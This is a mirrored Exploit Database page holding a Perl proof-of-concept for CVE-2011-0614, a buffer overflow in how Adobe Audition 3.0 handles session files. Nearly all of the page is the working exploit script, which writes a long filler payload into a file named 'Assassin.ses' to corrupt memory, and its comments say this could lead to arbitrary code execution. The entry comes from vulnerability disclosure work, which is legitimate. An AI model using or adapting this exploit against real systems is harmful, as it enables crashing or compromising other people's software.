Adobe Audition 3.0 build 7283 – Session File Handling Buffer Overflow (PoC)

• Exploit Database
• 81 阅读

• 作者： LiquidWorm
  日期： 2011-05-13
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17278/

• #!/usr/bin/perl
  #
  #
  # Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
  #
  #
  # Vendor: Adobe Systems Inc.
  # Product web page: http://www.adobe.com/products/audition/
  # Affected version: 3.0 (build 7238)
  #
  # Summary: Recording, mixing, editing, and mastering — Adobe® Audition® 3 software is the
  # all-in-one toolset for professional audio production.
  #
  # Desc: Adobe Audition suffers from a buffer overflow vulnerability when dealing with .SES
  # (session) format file. The application failz to sanitize the user input resulting in a
  # memory corruption, overwriting several memory registers which can aid the atacker to gain
  # the power of executing arbitrary code or denial of service.
  #
  # Tested on Microsoft Windows XP Professional SP3 (English)
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  # liquidworm gmail com
  # Zero Science Lab - http://www.zeroscience.mk
  #
  #
  # http://img225.imageshack.us/img225/9871/boferror.jpg
  #
  #
  # Zero Science Lab Advisory ID: ZSL-2011-5012
  # Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5012.php
  #
  # Adobe Advisory ID: APSB11-10
  # Adobe Advisory URL: http://www.adobe.com/support/security/bulletins/apsb11-10.html
  #
  # CVE ID: CVE-2011-0614
  #
  #
  # 18.09.2009
  #
  
  
  $data = "\x43\x4F\x4F\x4C\x4E\x45\x53\x53\x50\xF2\x08\x00".
  	"\x68\x64\x72\x20\xF0\x03\x00\x00\x22\x56\x00\x00".
  	"\xFC\x17\x0A\x00\x00\x00\x00\x00\x20\x00\x01\x00".
  	"\x00\x00\x00\x00\x00\x00\xF0\x3F\x00\x00\x00\x00".
  	"\x00\x00\xF0\x3F\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x00";
  
  
  $FNAME = "Assassin.ses";
  
  print "\n\n[*] Creating malicious session file: $FNAME ...\r\n";
  
  open(ses, ">./$FNAME") || die "\n\aCannot open $FNAME: $!";
  
  print ses "$data";
  sleep(1);
  
  close (ses);
  
  print "\n[*] Malicious session file successfully crafted!\r\n\n";
  

  PowerShell

  Copy